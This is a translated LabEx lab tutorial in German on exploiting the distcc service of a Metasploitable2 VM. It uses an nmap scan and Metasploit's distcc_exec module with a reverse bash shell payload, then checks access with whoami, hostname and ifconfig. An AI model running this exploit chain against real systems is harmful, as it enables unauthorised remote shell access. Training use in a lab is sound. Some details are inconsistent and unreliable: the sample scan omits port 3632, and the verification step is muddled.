Penetration Testing auf Metasploitable2 mit Nmap durchführen

NmapNmapBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab werden wir Penetrationstests auf der von LabEx bereitgestellten Metasploitable2-Zielmaschine mithilfe des Kali-Terminals durchführen. Der Schwerpunkt liegt auf dem Verständnis der Prinzipien und des Prozesses des Angriffs auf den Distcc-Service. Am Ende des Labs werden empfohlene Literatur und Hausaufgaben angegeben.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills nmap/installation -.-> lab-416128{{"Penetration Testing auf Metasploitable2 mit Nmap durchführen"}} nmap/port_scanning -.-> lab-416128{{"Penetration Testing auf Metasploitable2 mit Nmap durchführen"}} nmap/host_discovery -.-> lab-416128{{"Penetration Testing auf Metasploitable2 mit Nmap durchführen"}} nmap/target_specification -.-> lab-416128{{"Penetration Testing auf Metasploitable2 mit Nmap durchführen"}} nmap/service_detection -.-> lab-416128{{"Penetration Testing auf Metasploitable2 mit Nmap durchführen"}} end

Starten der Lab-Umgebung

  1. Öffnen Sie ein xfce-Terminal auf der LabEx-Hostmaschine und starten Sie die Metasploitable2-Zielmaschine, indem Sie den folgenden Befehl ausführen:
sudo virsh start Metasploitable2

Warten Sie, bis die Zielmaschine gestartet ist. Dies kann 1 - 3 Minuten dauern.

  1. Testen Sie die Konnektivität zur Zielmaschine, indem Sie sie per Ping testen:
ping 192.168.122.102

Drücken Sie Ctrl+C, um den Ping-Vorgang zu stoppen.

  1. Starten Sie den Kali Linux-Container und treten Sie in die bash-Umgebung ein, indem Sie folgenden Befehl ausführen:
docker run -ti --network host b5b709a49cd5 bash
  1. Innerhalb des Kali-Containers testen Sie die Netzwerkverbindung zur Zielmaschine:
ping 192.168.122.102

Drücken Sie Ctrl+C, um den Ping-Vorgang zu stoppen.

Nun laufen sowohl die Angriffsmaschine als auch die Zielmaschine, und Sie können mit den Penetrationstests beginnen.

Hinweis: Wenn Sie versehentlich die aktuelle bash-Umgebung verlassen, wird der Kali-Container automatisch gestoppt. Sie können auf der Hostmaschine erneut docker run -ti --network host b5b709a49cd5 bash ausführen, um einen neuen Kali-Container zu starten und in die bash-Umgebung einzutreten, um das Experiment fortzusetzen.

Penetrationstests durchführen

Das Prinzip der Distcc-Service-Schwachstelle:

Distcc wird für die verteilte Kompilierung großer Codebasen auf Netzwerkservern verwendet. Wenn es jedoch fehlerhaft konfiguriert ist, kann es missbraucht werden, um Befehle auszuführen. Diese Schwachstelle ist in XCode 1.5 und anderen Versionen von Distcc 2.x vorhanden, da auf dem Serverport keine Zugangsbeschränkungen implementiert sind.

Einfach ausgedrückt, fehlen dem Service ordnungsgemäße Prüfungen an Ports und ausgeführten Aufgaben. Dadurch können Angreifer die verteilten Kompilierungsaufgaben nutzen, um ihre eigenen Befehle auszuführen.

Schwachstellen-Indices:

Code des Schwachstellen-Angriffsmoduls:

Zunächst starten Sie msfconsole, um in die Bedienoberfläche zu gelangen:

cd ~
msfconsole

Verwenden Sie das Nmap-Scanning-Tool, um die offenen Ports des Zielhosts zu scannen:

nmap -sV -T4 192.168.122.102

Hier ist ein Beispiel für die Ausgabe, die Sie sehen könnten:

[*] exec: nmap -sV -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:51 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0075s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp   open  domain  ISC BIND 9.4.2
111/tcp  open  rpcbind 2 (RPC #100000)
3306/tcp open  mysql   MySQL 5.0.51a-3ubuntu5
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds

Basierend auf den Scanergebnissen suchen Sie das Modul, das dem Port-Service entspricht, den Sie angreifen möchten:

search distcc

Im Kali MSF-Terminal verwenden Sie den use-Befehl, um das entsprechende Modul auszuwählen:

use exploit/unix/misc/distcc_exec

Dann verwenden Sie den show options-Befehl, um die Modulparameter anzuzeigen:

show options

Hier ist ein Beispiel für die Ausgabe, die Sie sehen könnten:

Module options (exploit/unix/misc/distcc_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
                                       it.html
   RPORT    3632             yes       The target port (TCP)


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.28.140.88    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

Setzen Sie den Parameter RHOST für den Zielhost auf 192.168.122.102

set RHOST 192.168.122.102

Sobald alles eingestellt ist, verwenden Sie den exploit-Befehl, um den Host anzugreifen:

exploit

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung

Überprüfung des erfolgreichen Eindringens

Um zu überprüfen, ob der Eindringversuch erfolgreich war, verwenden Sie die folgenden Befehle: whoami, hostname und ifconfig (um die IP-Adresse zu überprüfen):

Zunächst sollten Sie, wenn Sie nicht in der Metasploit-Konsole sind, die Metasploit-Konsole starten:

cd ~
msfconsole

Überprüfen Sie den aktuellen Benutzer:

whoami

Überprüfen Sie den Hostnamen:

hostname

Überprüfen Sie die IP-Adresse des kompromittierten Hosts:

ifconfig

Wenn der Hostname und die IP-Adresse mit der Zielmaschine (192.168.122.102) übereinstimmen, zeigt dies an, dass der Penetrationstest erfolgreich war.

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung

Zusammenfassung

In diesem Lab haben wir die Prinzipien und den Prozess des Angriffs auf den Distcc-Service kennengelernt. Wir haben praktische Erfahrungen mit Nmap-Penetrationstests, der Nutzung von Metasploit zur Ausnutzung der Distcc-Schwachstelle und der Überprüfung eines erfolgreichen Eindringens gesammelt. Das Lab hat uns ein praktisches Verständnis von Schwachstellenanalyse und -ausnutzungstechniken vermittelt.